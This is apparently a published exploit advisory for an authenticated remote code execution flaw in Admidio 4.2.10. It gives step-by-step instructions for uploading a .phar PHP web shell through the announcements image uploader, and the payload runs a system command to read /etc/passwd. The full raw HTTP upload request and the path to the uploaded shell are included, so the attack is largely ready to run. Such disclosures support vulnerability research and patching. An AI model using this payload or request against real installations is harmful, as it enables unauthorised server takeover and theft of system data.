Admidio 4.2.10 Remote Code Execution

`Exploit Title: Admidio v4.2.10 - Remote Code Execution (RCE)  
Application: Admidio  
Version: 4.2.10  
Bugs: RCE  
Technology: PHP  
Vendor URL: https://www.admidio.org/  
Software Link: https://www.admidio.org/download.php  
Date of found: 10.07.2023  
Author: Mirabbas Ağalarov  
Tested on: Linux  
  
  
2. Technical Details & POC  
========================================  
Steps:  
  
1. Login to account  
2. Go to Announcements  
3. Add Entry  
4. Upload .phar file in image upload section.  
.phar file Content  
<?php echo system('cat /etc/passwd');?>  
5. Visit .phar file ( http://localhost/admidio/adm_my_files/announcements/images/20230710-172217_430o3e5ma5dnuvhp.phar )  
  
Request:  
  
POST /admidio/adm_program/system/ckeditor_upload_handler.php?CKEditor=ann_description&CKEditorFuncNum=1&langCode=en HTTP/1.1  
Host: localhost  
Content-Length: 378  
Cache-Control: max-age=0  
sec-ch-ua:   
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: ""  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryne9TRuC1tAqhR86r  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: iframe  
Referer: http://localhost/admidio/adm_program/modules/announcements/announcements_new.php?headline=Announcements  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: ADMIDIO_admidio_adm_cookieconsent_status=dismiss; ADMIDIO_admidio_adm_SESSION_ID=penqrouatvh0vmp8v2mdntrgdn; ckCsrfToken=o3th5RcghWxx2qar157Xx4Y1f7FQ42ayQ9TaV8MB  
Connection: close  
  
------WebKitFormBoundaryne9TRuC1tAqhR86r  
Content-Disposition: form-data; name="upload"; filename="shell.phar"  
Content-Type: application/octet-stream  
  
<?php echo system('cat /etc/passwd');?>  
  
------WebKitFormBoundaryne9TRuC1tAqhR86r  
Content-Disposition: form-data; name="ckCsrfToken"  
  
o3th5RcghWxx2qar157Xx4Y1f7FQ42ayQ9TaV8MB  
------WebKitFormBoundaryne9TRuC1tAqhR86r--  
  
  
`